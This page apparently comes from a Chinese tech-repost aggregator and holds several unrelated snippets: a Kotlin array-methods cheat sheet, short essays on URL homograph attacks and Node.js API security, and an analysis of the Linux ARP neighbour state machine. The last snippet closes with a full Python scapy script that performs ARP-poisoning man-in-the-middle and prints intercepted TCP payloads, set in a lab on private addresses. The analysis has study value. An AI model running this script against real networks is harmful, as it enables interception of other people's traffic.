arr + 6 等同于 arr.plus(6) slice (区间) 截取:返回一个截取该区间元素的新数组,不对原数组进行改动 fill (目标值) fill (目标值,起始索引,结束索引) 修改:将该区间的元素赋值为指定值 copyOf () copyOf (个数) copyOfRange (起始索引,结束索引) 返回一个 完全复制了原数组 的新数组 返回一个 正向复制原数组元素个数 的新数组,超过原数组大小的新元素值为null 返回一个 复制原数组该区间元素 的新数组,超过原数组索引范围报错 asList () 数组转集合 reverse () reversedArray () reversed () 反转:将数组中的元素顺序进行反转 返回一个反转后的新数组,不对原数组进行改动 返回一个反转后的list,不对原数组进行改动 sort () sortedArray () sorted () 排序:对数组中的元素进行自然排序 返回一个自然排序后的新数组,不对原数组进行改动 返回一个自然排序后的list,不对原数组进行改动 joinToString (字符串分隔符) 将Array原生数组拼接成一个String,默认分隔符是“,” all (predicate) any (predicate) 全部元素满足条件返回 true,否则 false 任一元素满足条件返回 true,否则 false val arr = arrayOf(1, 2, 3, 4, 5)val cc = charArrayOf('你','们','好')val brr = arrayOf(5,2,1,4,3)//数组长度val num1 = arr.size //5//最大索引val num2 = arr.indices //4for (i in arr.indices) print(i) //01234//条件判断val boolean1 = arr.all { i -> i > 3 } //false,不是全部元素>3//增val arr1 = arr.plus(6) //123456,长度+1并赋值为6val arr2 = arr + 6 //同上//改val arr3 = arr.slice(2..4) //345arr.fill(0) //00000,操作的是原数组val str1 = cc.joinToString("") //你们好brr.sort() //12345val list1 = brr.sorted() //返回一个排序后的listval brr4 = brr.sortedArray() //返回排序后的新数组val arr5 = arr.copyOf() //12345val arr6 = arr.copyOf(2) //12val arr7 = arr.copyOfRange(2,4) //34 多维数组 //方式一:数组里面存的元素是数组val aa = arrayOf(arrayOf(1, 2, 3),arrayOf(4, 5, 6))print(aa[1][2]) //6//方式二:元素为null但类型是数组val bb = arrayOfNulls<Array<Int>>(2) 本篇文章为转载内容。原文链接:https://blog.csdn.net/HugMua/article/details/121866989。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-31 12:34:25
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Scala
... 此类攻击不仅影响普通用户,对于企业级应用和Web服务同样构成威胁。例如,某知名社交媒体平台曾报告过一起利用Unicode同形异义字符进行的攻击事件,导致部分用户账户信息泄露。这起事件引发了业界对URL安全性的广泛关注,各大科技公司纷纷加强了对输入验证和异常处理机制的审查,以防止类似事件再次发生。 此外,随着区块链技术和加密货币的普及,与之相关的URL安全问题也日益凸显。黑客常常利用复杂的URL构造,诱导用户访问恶意网站,盗取加密货币钱包的私钥。为此,许多加密货币钱包服务商开始引入更高级别的身份验证机制,并加强对URL的过滤和监控,以保护用户的资产安全。 在防范这类新型攻击方面,除了依赖技术手段外,用户自身的安全意识同样重要。专家建议,用户在点击任何链接前,应仔细检查URL的拼写和格式,尽量避免访问来源不明的网站。同时,定期更新操作系统和浏览器,安装最新的安全补丁,也是抵御此类攻击的有效措施之一。对于开发者而言,不仅要关注基础的URL格式校验,还需加强对异常字符和恶意链接的检测能力,确保应用程序在面对复杂攻击时依然能够保持稳定和安全。
2024-12-19 15:45:26
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素颜如水
NodeJS
...,随着《欧盟数据保护通用条例》(GDPR)等法规的严格实施,API的安全性及用户数据隐私保护已成为全球开发者关注的重点。例如,一项由OWASP(开放网络应用安全项目)发布的API安全Top 10列表中,详细列举了诸如未授权访问、不安全的接口设计以及敏感数据泄露等常见API安全隐患,并提供了针对性的防护策略。 同时,Node.js社区也在不断推出新的工具和技术以增强API安全性。例如,Fastify作为另一个高性能的Node.js web框架,其内置的安全特性为API开发带来了更多选择。另外,JSON Web Tokens (JWT) 和OAuth2.0等认证授权机制的深度应用,也是提升API安全性的有效手段。 此外,对于实时更新的数据传输安全措施,可以参考NIST(美国国家标准与技术研究院)发布的最新网络安全指南,其中强调了加密算法的选择与升级、密钥管理策略的重要性,以及对零信任架构的应用推广。这些都为我们设计和实现安全的Node.js Express API提供了有力的理论依据和操作指导。 综上所述,在实际开发过程中,持续关注行业标准、紧跟安全领域最新研究成果,并结合具体业务场景灵活运用各类安全技术和框架,才能确保所构建的API既满足高效易用的需求,又能有效抵御各种潜在威胁,保障数据传输的安全性和用户隐私权益。
2024-02-13 10:50:50
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烟雨江南-t
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...ver)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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